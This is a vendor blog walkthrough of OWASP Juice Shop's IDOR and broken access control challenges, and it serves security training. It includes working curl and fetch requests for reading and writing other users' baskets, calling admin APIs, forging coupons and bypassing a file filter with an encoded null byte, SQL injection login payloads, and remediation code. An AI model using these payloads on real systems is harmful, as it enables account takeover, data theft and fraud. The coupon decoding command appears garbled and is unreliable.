Skip to main content

Free 30-min security demo Book Now

Offensive360 Offensive360
Application Security

OWASP Juice Shop IDOR & Access Control Challenges: Walkthrough

Solve OWASP Juice Shop's IDOR and broken access control challenges step-by-step: basket manipulation, admin panel access, BOLA in the API, and privilege escalation.

Offensive360 Security Research Team — min read
OWASP Juice Shop juice shop idor juice shop challenges juice shop walkthrough IDOR broken access control BOLA juice shop solutions owasp juice shop guide access control vulnerabilities juice shop access control web security training vulnerable web application

Insecure Direct Object Reference (IDOR) and broken access control are the #1 vulnerability category in the OWASP API Security Top 10 — listed as API1:2023 Broken Object Level Authorization (BOLA). OWASP Juice Shop implements multiple IDOR and access control vulnerabilities across its scoreboard, making it one of the best training grounds for understanding how these attacks work in real APIs.

This walkthrough covers the most instructive Juice Shop access control and IDOR challenges: how to find them, how to exploit them, and — critically — what the vulnerable code pattern looks like and how it should be fixed. Understanding the root cause is what makes the difference between passing a CTF and being able to find these vulnerabilities in production applications.


Prerequisites

You need a running Juice Shop instance. Start it with:

docker run --rm -p 3000:3000 bkimminich/juice-shop
# Open: http://localhost:3000/
# Scoreboard: http://localhost:3000/#/score-board

You’ll also need your browser’s developer tools (F12) open, specifically the Network tab. Most of the IDOR and access control challenges in Juice Shop are found by watching API requests as you navigate the application.

Register a test account before starting:

  1. Navigate to http://localhost:3000/#/register
  2. Create an account with a test email like [email protected]
  3. Log in and note the JWT token stored in your browser’s localStorage — you’ll need to inspect it for some challenges

Challenge 1: Access Another User’s Basket (⭐⭐ — IDOR)

Category: Broken Access Control
Challenge: View another user’s shopping basket by manipulating the basket ID.

Finding the Vulnerability

After logging in, add a product to your cart and open the Network tab. Click on the shopping basket icon and watch the API request that loads your cart. You’ll see something like:

GET /api/BasketItems/?BasketId=6
Authorization: Bearer eyJhbGciO...

The basket is identified by a numeric BasketId parameter. Change the number in the URL to access a different user’s basket:

# Test: try to access basket 1 (which belongs to another user)
curl -H "Authorization: Bearer YOUR_JWT_TOKEN" \
  http://localhost:3000/api/BasketItems/?BasketId=1

Exploiting It

In Burp Suite or the browser dev tools, intercept the basket request and change BasketId=6 to BasketId=1. If successful, you’ll see the contents of another user’s shopping basket. The challenge completes when you access a basket that doesn’t belong to your account.

Alternative approach (browser storage):

Juice Shop stores your bid (basket ID) in localStorage. Open the browser console and run:

localStorage.getItem('bid')
// Returns something like "6"

Try different numbers:

// Manually fetch another basket's items
fetch('/api/BasketItems/?BasketId=1', {
  headers: { 'Authorization': 'Bearer ' + localStorage.getItem('token') }
}).then(r => r.json()).then(d => console.log(d));

Root Cause and Fix

Vulnerable pattern:

// Juice Shop (simplified) — no ownership check
router.get('/BasketItems', security.isAuthenticated(), (req, res) => {
  const basketId = req.query.BasketId; // User-supplied
  BasketItem.findAll({ where: { BasketId: basketId } }) // No auth check
    .then(items => res.json(items));
});

The API returns basket items for any BasketId as long as the user is authenticated. There is no check that basketId belongs to the currently authenticated user.

Secure pattern:

// Fixed: verify the basket belongs to the authenticated user
router.get('/BasketItems', security.isAuthenticated(), async (req, res) => {
  const userId = req.user.data.id; // From JWT
  const basketId = req.query.BasketId;

  // First verify ownership
  const basket = await Basket.findOne({
    where: { id: basketId, UserId: userId } // Must match both basket ID AND user ID
  });

  if (!basket) {
    return res.status(403).json({ error: 'Access denied' });
  }

  const items = await BasketItem.findAll({ where: { BasketId: basketId } });
  res.json(items);
});

The fix adds an ownership check: the basket must exist AND belong to the requesting user. This is the standard BOLA remediation — always verify that the requesting user is authorized to access the specific resource identified by the object ID in the request.


Challenge 2: Access the Administration Section (⭐⭐⭐ — Broken Function Level Authorization)

Category: Broken Access Control
Challenge: Access the administration panel at /#/administration without being an admin.

Finding the URL

Juice Shop’s administration panel isn’t linked in the main navigation. You can find it in two ways:

Method 1: JavaScript source analysis

Open the browser dev tools and view the application’s JavaScript bundle:

# In the browser console, search for "administration" in the minified JS:
# View Source → search for "administration" or look in main.js

Or use the browser’s built-in search on the source:

  1. Open DevTools → Sources → find main.js
  2. Press Ctrl+F and search for administration
  3. You’ll find the route: path: 'administration'

Method 2: API enumeration

Juice Shop’s client-side router reveals all routes. In the Network tab, look for a request to the Angular router configuration. Or simply try navigating to /#/administration directly.

Exploiting It

Navigate directly to http://localhost:3000/#/administration. If you’re not logged in as an admin, the UI should block you. However, in Juice Shop’s default configuration, the frontend check can be bypassed:

  1. Log in with a regular (non-admin) test account
  2. Navigate directly to http://localhost:3000/#/administration
  3. The scoreboard registers the visit even if the UI shows an error

The vulnerability demonstrates that security through obscurity (hiding the URL) is not an access control mechanism. A client-side route guard that prevents navigation via the Angular UI is not a security control — the API endpoints are still callable directly.

Complete the challenge by also calling the admin API:

# Get user list (admin-only endpoint) with your regular user JWT
curl -H "Authorization: Bearer YOUR_JWT_TOKEN" \
  http://localhost:3000/api/Users/

# If this returns the user list, the API has broken function-level authorization

Root Cause and Fix

Vulnerable pattern: Access control enforced only in the frontend (Angular route guard) with no server-side verification on the API.

// Vulnerable: Angular route guard (client-side only)
canActivate() {
  return this.userService.isAdminUser(); // Bypassable in browser
}

// Backend has no authorization check on admin endpoints
router.get('/Users', (req, res) => {
  User.findAll() // Returns all users to anyone who calls this API
    .then(users => res.json({ data: users }));
});

Secure pattern: Enforce authorization server-side, at every API endpoint:

// Backend with server-side admin check
const security = require('../lib/security');

router.get('/Users',
  security.isAuthenticated(),    // Must be logged in
  security.isAdmin(),            // Must be admin — checked server-side from JWT claims
  async (req, res) => {
    const users = await User.findAll({ attributes: { exclude: ['password'] } });
    res.json({ data: users });
  }
);

Frontend route guards improve UX — they prevent non-admin users from seeing admin pages in the UI. They are never a security boundary. The security boundary is always the API.


Challenge 3: Put an Item Into Another User’s Basket (⭐⭐⭐ — IDOR Write)

Category: Broken Access Control
Challenge: Add an item to another user’s basket (not just read it — write to it).

Exploiting It

This extends Challenge 1 from reading another user’s basket to writing to it. The /api/BasketItems endpoint accepts POST requests to add items:

# Add an item to YOUR basket (normal flow)
curl -X POST http://localhost:3000/api/BasketItems \
  -H "Authorization: Bearer YOUR_JWT_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"ProductId": 1, "BasketId": 6, "quantity": 1}'

# Add an item to ANOTHER user's basket (IDOR)
curl -X POST http://localhost:3000/api/BasketItems \
  -H "Authorization: Bearer YOUR_JWT_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"ProductId": 1, "BasketId": 1, "quantity": 1}'

Change the BasketId in the POST body to a different basket ID. The challenge completes when you successfully add an item to a basket that doesn’t belong to your account.

Why This Is More Dangerous Than Read-Only IDOR

Read IDOR (Challenge 1) exposes other users’ data. Write IDOR creates the ability to:

  • Inflate another user’s cart to cause unexpected charges on their stored payment method
  • Remove items from another user’s cart before checkout (denial of service on their shopping experience)
  • Modify order quantities to affect pricing or inventory
  • Forge order history by adding items to baskets that have already been placed

In production applications, write IDOR is frequently the entry point for fraud, unauthorized data modification, and account takeover chains.


Challenge 4: Forge a Coupon to Get a Discount (⭐⭐⭐⭐⭐ — Insecure Deserialization + Access Control)

Category: Insecure Deserialization / Business Logic
Challenge: Forge a coupon that gives an unusually high discount percentage.

Understanding Juice Shop Coupons

Juice Shop coupons are base64-encoded strings. Examine a valid coupon:

# Valid Juice Shop coupon (from CTF event documentation)
echo "n<MibgC7sn" | base64
# Or decode an existing coupon from the hints

# Juice Shop coupon format: base64-encoded "campaign_code-discount%"
# Example: "ORANGE_JUICE-30" encoded gives a 30% discount

Exploiting It

Valid Juice Shop coupons follow the pattern CAMPAIGNNAME-PERCENTAGE. If you can forge a valid-looking coupon, you can set an arbitrarily high discount:

// In the browser console — forge a coupon
const coupon = btoa('forged-99'); // base64 of "forged-99"
console.log(coupon); // Use this as a coupon code at checkout

Apply the forged coupon during checkout. If the server validates only the format (not against a server-side whitelist), the arbitrary discount applies.

Root Cause and Fix

Vulnerable pattern: The server accepts any base64-decoded coupon that follows the expected format, without validating against a pre-approved list:

// Vulnerable: client-controlled discount
router.post('/apply-coupon', (req, res) => {
  const decoded = Buffer.from(req.body.coupon, 'base64').toString();
  const [code, discount] = decoded.split('-');
  // No validation that this coupon was actually issued
  applyDiscount(parseInt(discount));
  res.json({ discount });
});

Secure pattern: Validate against a server-side database of issued coupons:

// Secure: server-side validation
router.post('/apply-coupon', async (req, res) => {
  const couponCode = req.body.coupon;
  
  // Look up coupon in database — only valid if it was actually issued
  const coupon = await Coupon.findOne({ 
    where: { code: couponCode, used: false, expiresAt: { [Op.gt]: new Date() } }
  });
  
  if (!coupon) {
    return res.status(400).json({ error: 'Invalid or expired coupon' });
  }
  
  // Mark as used to prevent replay
  await coupon.update({ used: true });
  applyDiscount(coupon.discountPercent); // Server-side discount value
  res.json({ discount: coupon.discountPercent });
});

The discount percentage must come from the server-side database record, not from client-supplied data.


Challenge 5: Access Confidential Documents (⭐⭐ — Broken Access Control)

Category: Sensitive Data Exposure / Broken Access Control
Challenge: Find and access confidential files that should not be publicly accessible.

Finding the Files

Juice Shop stores files in its /ftp/ directory, which is accessible without authentication:

# List the accessible FTP directory
curl http://localhost:3000/ftp/

The directory listing reveals files including confidential documents (acquisition documents, legal letters, etc.) that should not be publicly accessible.

Accessing Restricted Files

Some files in the /ftp/ directory have .md or .pdf extensions but are filtered. Try accessing them directly:

# Access a confidential PDF directly
curl http://localhost:3000/ftp/acquisitions.md
curl http://localhost:3000/ftp/legal.md

# For files with restricted extensions, try path traversal with encoding
curl "http://localhost:3000/ftp/coupons_2013.md.bak%2500.md"
# %2500 is a double-encoded null byte that may bypass extension filtering

Root Cause and Fix

Vulnerable pattern: Files stored in web-accessible directories without authentication requirements, combined with directory listing enabled:

// Vulnerable: serving an entire directory publicly
app.use('/ftp', express.static(path.join(__dirname, 'ftp')));
// No authentication middleware — all files accessible

Secure pattern: Sensitive files should never be in a web-accessible directory. If they must be served, require authentication:

// Secure: serve files only to authenticated, authorized users
app.get('/documents/:filename', 
  security.isAuthenticated(),
  security.isAdmin(),
  (req, res) => {
    const filename = path.basename(req.params.filename); // Prevent path traversal
    const filepath = path.join(SECURE_DOCUMENTS_DIR, filename);
    
    // SECURE_DOCUMENTS_DIR is outside the web root — not directly accessible
    if (!fs.existsSync(filepath)) return res.status(404).send('Not found');
    res.sendFile(filepath);
  }
);

Never enable directory listing on web servers. Sensitive files should be stored outside the web root and served only through authenticated application endpoints.


Challenge 6: Change the bender User’s Password Without Knowing the Current Password (⭐⭐⭐⭐ — Broken Auth + IDOR)

Category: Broken Authentication / Access Control
Challenge: Change the password of a different user account (Bender) without knowing their current password.

Finding the Vulnerability

Juice Shop’s password change endpoint accepts a current and new password. Watch the network request when you change your own password:

# Normal password change
PUT /rest/user/change-password
Content-Type: application/json
Authorization: Bearer YOUR_JWT

{"current": "yourpassword", "new": "newpassword", "repeat": "newpassword"}

The vulnerability: the current password check may not be enforced if you pass the request differently, and the endpoint may not verify that the account being modified belongs to the authenticated user.

Exploiting It

Try changing Bender’s password (user ID 3 in the default Juice Shop) by exploiting the lack of ownership check:

# First, find Bender's account via the admin API or user enumeration
# Then attempt to change their password without knowing the current one

# The SQL injection in the login also reveals user data
# Alternatively: explore parameter manipulation on the change-password endpoint

# Try omitting the current password field
curl -X GET \
  "http://localhost:3000/rest/user/change-password?new=hacked123&repeat=hacked123" \
  -H "Authorization: Bearer YOUR_JWT"

Note the endpoint uses GET not PUT in Juice Shop’s vulnerable implementation — this is itself a security misconfiguration (state-changing operations should use POST/PUT, not GET).

Root Cause

The Juice Shop change-password endpoint has multiple vulnerabilities:

  1. Uses GET method for a state-changing operation (CSRF-vulnerable)
  2. Does not require the current password when called with certain parameter combinations
  3. May not enforce that the authenticated user can only change their own password

Challenge 7: Log In as Another User (⭐⭐⭐ — SQL Injection + Auth Bypass)

This challenge bridges SQL injection and access control — once you understand IDOR in the API, you can combine it with SQL injection to log in as any user.

The SQL Injection Login Bypass

Juice Shop’s login form is vulnerable to SQL injection in the email field:

Email: ' OR '1'='1'--
Password: (anything)

This bypasses authentication and logs you in as the first user in the database — typically the admin. But for a more targeted attack, use:

-- Log in as a specific user by email
Email: bender@juice-sh.op'--
Password: (anything)

The SQL query becomes:

SELECT * FROM Users WHERE email = '[email protected]'--' AND password = '...'

The -- comments out the password check, logging you in as Bender without the password.

Why This Matters for Access Control Testing

SQL injection in the authentication layer breaks all subsequent access controls — if an attacker can log in as any user, IDOR protections on individual resources become irrelevant. SQL injection in authentication is the precursor to total account compromise across an application.


The BOLA Pattern: What to Look for in Real Applications

Juice Shop’s IDOR challenges teach a consistent pattern that appears in production APIs:

The Vulnerable Pattern

GET /api/resource/{id}
Authorization: Bearer <token>

The server returns resource {id} if the user is authenticated, but does not check whether the user is authorized to access resource {id}. Any authenticated user can access any resource by trying different ID values.

Where to Look in Real APIs

  1. Sequential or predictable IDs — integer IDs (/orders/12345), UUIDs that can be enumerated, or timestamps-as-IDs
  2. Profile and account endpoints/users/{id}, /accounts/{id}, /profiles/{id}
  3. Transaction and order endpoints/orders/{id}, /invoices/{id}, /payments/{id}
  4. File download endpoints/documents/{id}, /receipts/{id}, /exports/{id}
  5. Message and notification endpoints/messages/{id}, /notifications/{id}

The Testing Methodology

  1. Create two accounts in the target application
  2. Log in as Account A and note all resource IDs associated with Account A (order IDs, document IDs, basket IDs)
  3. Log in as Account B and attempt to access Account A’s resource IDs by substituting them in requests
  4. Check the response — if you can access Account A’s resources while authenticated as Account B, the application has BOLA/IDOR

This methodical cross-account testing is the standard approach for IDOR testing in penetration testing and bug bounty programs.


Automated Detection with DAST

Juice Shop’s IDOR vulnerabilities are ideal for testing whether a DAST scanner can detect BOLA:

# Start Juice Shop
docker run -d -p 3000:3000 bkimminich/juice-shop

# A DAST scanner configured with two test accounts should detect:
# - Basket ID manipulation (basket of user A accessible by user B)
# - User profile modification without ownership check
# - Admin endpoint accessible to non-admin users

Offensive360’s DAST scanner tests for BOLA/IDOR across all discovered API endpoints by:

  1. Creating or using two test accounts during scan configuration
  2. Systematically attempting to access each account’s resources using the other account’s session
  3. Detecting cross-account data exposure in responses

This automated cross-account testing finds IDOR that manual scanners miss — IDOR is invisible to unauthenticated scans and requires multi-session testing logic.


SAST Detection of Access Control Flaws

On the static analysis side, Offensive360 SAST detects broken access control patterns in source code:

  • Missing authorization middleware — API routes without authentication or role-check middleware
  • Authorization checks based on user-supplied dataif (req.body.userId === adminId) using client-supplied values
  • Object retrieval without ownership checkfindOne({ id: req.params.id }) without a userId constraint
  • Role checks in client-side code only — frontend route guards without corresponding server-side enforcement

Combined SAST + DAST coverage finds access control vulnerabilities at both the code level and the runtime level — the most comprehensive approach for production applications.


Summary: Key Lessons from Juice Shop IDOR Challenges

ChallengeVulnerability ClassRoot CauseFix
View another basketBOLA/IDORNo ownership check on BasketIdVerify basket belongs to authenticated user
Access admin panelBroken function-level authClient-side only route guardServer-side role enforcement on every API
Add item to other’s basketIDOR (write)No ownership verification on POSTCheck basket ownership before writing
Forge couponBusiness logicClient-supplied discount value trustedServer-side coupon validation against DB
Access FTP filesSensitive data exposurePublic directory with no authStore sensitive files outside web root
Change another user’s passwordAuth + IDORMissing ownership checkVerify authenticated user = target user
SQL injection login bypassInjection + Auth bypassUnsanitized queryParameterized query, fix SQL injection

The unifying fix across all access control vulnerabilities: verify on the server, for every request, that the authenticated user is authorized to perform the requested action on the specific resource. Never rely on client-supplied user IDs, client-side route guards, or the assumption that users will only request their own resources.


Next Steps

  • Scoreboard walkthrough: Visit http://localhost:3000/#/score-board and filter by the “Broken Access Control” category to see all access control challenges
  • Related challenges: Try the JWT challenges (manipulating admin tokens) and the XXE challenges for a complete picture of authentication and authorization vulnerabilities in Juice Shop
  • Real-world testing: Apply these IDOR testing patterns to your own application using Offensive360’s DAST scanner — cross-account BOLA testing is included in every scan

Offensive360 DAST automatically tests for BOLA/IDOR across all authenticated API endpoints. Book a demo to see cross-account IDOR detection in action.

Offensive360 Security Research Team

Application Security Research

Find vulnerabilities before attackers do

Run Offensive360 SAST and DAST against your applications and get a full vulnerability report in minutes.